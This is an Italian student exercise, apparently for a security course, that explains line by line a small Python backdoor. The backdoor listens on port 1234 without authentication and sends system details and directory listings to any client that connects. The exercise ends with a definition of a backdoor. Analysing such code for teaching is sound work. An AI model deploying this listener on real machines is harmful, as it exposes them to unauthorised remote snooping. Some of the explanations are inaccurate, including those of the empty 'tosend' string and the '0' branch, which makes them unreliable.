

L'esercizio di oggi consiste nel commentare/spiegare questo codice che fa riferimento ad una backdoor.  
Inoltre spiegare cos'è una backdoor.

```
kali@kali: ~/Desktop/Python_Samples
File Actions Edit View Help
GNU nano 6.0 backdoor.py *
import socket, platform, os

SRV_ADDR = ""
SRV_PORT = 1234

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((SRV_ADDR, SRV_PORT))
s.listen(1)
connection, address = s.accept()

print ("client connected: ", address)

while 1:
    try:
        data = connection.recv(1024)
        except:continue

    if(data.decode('utf-8') == '1'):
        tosend = platform.platform() + " " + platform.machine()
        connection.sendall(tosend.encode())
    elif(data.decode('utf-8') == '2'):
        data = connection.recv(1024)
        try:
            filelist = os.listdir(data.decode('utf-8'))
            tosend = ""
            for x in filelist:
                tosend += "," + x
            except:
                tosend = "Wrong path"
            connection.sendall(tosend.encode())
    elif(data.decode('utf-8') == '0'):
        connection.close()
        connection, address = s.accept()
```

Andrò ad analizzare il codice dividendolo in parti.

```
import socket, platform, os

SRV_ADDR = ""
SRV_PORT = 1234
```

**Import socket, platform, os**, il quale richiama tre differenti moduli (librerie). Socket fornisce funzionalità di rete in Python, platform permette di ottenere informazioni sul sistema operativo - macchina - ambiente su cui viene eseguito e os ci fa interagire con il sistema operativo.

**SRV\_ADDR = ""** conterrà indirizzo ip del server

**SRV\_PORT = 1234** indica numero di porta di cui ascolterà le connessioni in ingresso

```
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((SRV_ADDR, SRV_PORT))
s.listen(1)
connection, address = s.accept()
```

**s = socket.socket(socket.AF\_INET, socket.SOCK\_STREAM)** crea un socket ed i parametri AF\_INET ci dice che è un parametro IPv4 mentre socket.SOCK\_STREAM indica che è un socket tcp

**s.bind((SRV\_ADDR, SRV\_PORT))** associa la connessione all'ip e alla porta indicati

**s.listen(1)** mette il socket in modalità ascolto, il numero tra parentesi indica quante connessioni in entrata può accettare  
**connection, address = s.accept()** accetta una connessione in entrata e blocca il programma sino quando non viene stabilita una connessione da un client. Connection è il nuovo socket per comunicare e contiene indirizzo ip e porta del client.

```
print ("client connected: ", address)

while 1:
    try:
        data = connection.recv(1024)
    except:continue
```

**print ("client connected: ", address)** indica che è connesso e visualizza indirizzo client  
**while 1:** ci fa entrare in un ciclo infinito per ricevere dati dal client  
**try:** prova  
**data = connection.recv(1024)** ci permette di ricevere dati, il valore tra parentesi indica il numero massimo di byte da ricevere in una volta  
**except:continue** in caso di errore fa continuare il programma senza bloccarlo passando al successivo ciclo

```
if(data.decode('utf-8') == '1'):
    tosend = platform.platform() + " " + platform.machine()
    connection.sendall(tosend.encode())
elif(data.decode('utf-8') == '2'):
    data = connection.recv(1024)
    try:
        filelist = os.listdir(data.decode('utf-8'))
        tosend = ""
        for x in filelist:
            tosend += "," + x
    except:
        tosend = "Wrong path"
    connection.sendall(tosend.encode())
elif(data.decode('utf-8') == '0'):
    connection.close()
    connection, address = s.accept()
```

**Qui si entra nel ciclo IF-ELIF-ELSE**

**if(data.decode(utf-8') == '1')**: qui viene detto che se il dato ricavato è 1  
**tosend = platform. platform() + connection. sendall(tosend.encode())** se è 1 viene creato messaggio con nome macchina e la piattaforma e inviato  
**elif(data. decode (utf-8' )'2')**: qui viene detto che se il dato ricavato è 2  
**data = connection. rec(1024)** viene ricevuto un dato con dimensione massima di 1024byte per volta  
**try:** si trova nei blocchi if insieme ad except  
**filelist = os. listdir(data.decode(utf-8'))** serve per ottenere una lista dei file in data.decode(utf-8')  
**tosend = ""** crea il file e lo invia  
**for x in filelist:** nella filelist  
**tosend += "," + x** crea file + unendo il file precedente e x  
**except:** si trova nei blocchi in insieme a try, viene utilizzato in caso ci sia un problema con l'operazione e manda al comando successivo

**`tosend = "Wrong path"`** nel caso si verifichi un errore veniamo rimandati qui  
**`connection.sendall(tosend.encode())`** questa riga viene eseguita in qualsiasi caso e invia il contenuto tramite la connessione sia che i file siano stati ottenuti oppure sia che si sia verificata un'eccezione  
**`elif(data.decode('utf-8') == '0'):`** nel caso nella connessione non avvenga più scambio di dati queste ultime tre righe terminano il programma  
**`connection.close()`**  
**`connection, address = s.accept()`**

Cos'è una Backdoor?

Una backdoor è un accesso lasciato dal programmatore in un programma per poter accedere al dispositivo senza passare per l'autenticazione. Viene comunemente utilizzata per aggiornare o apportare modifiche al programma senza dover ogni volta accedere con log in ad ogni dispositivo. Quando viene utilizzata da criminali informatici per scopi malevoli viene chiamata RAT.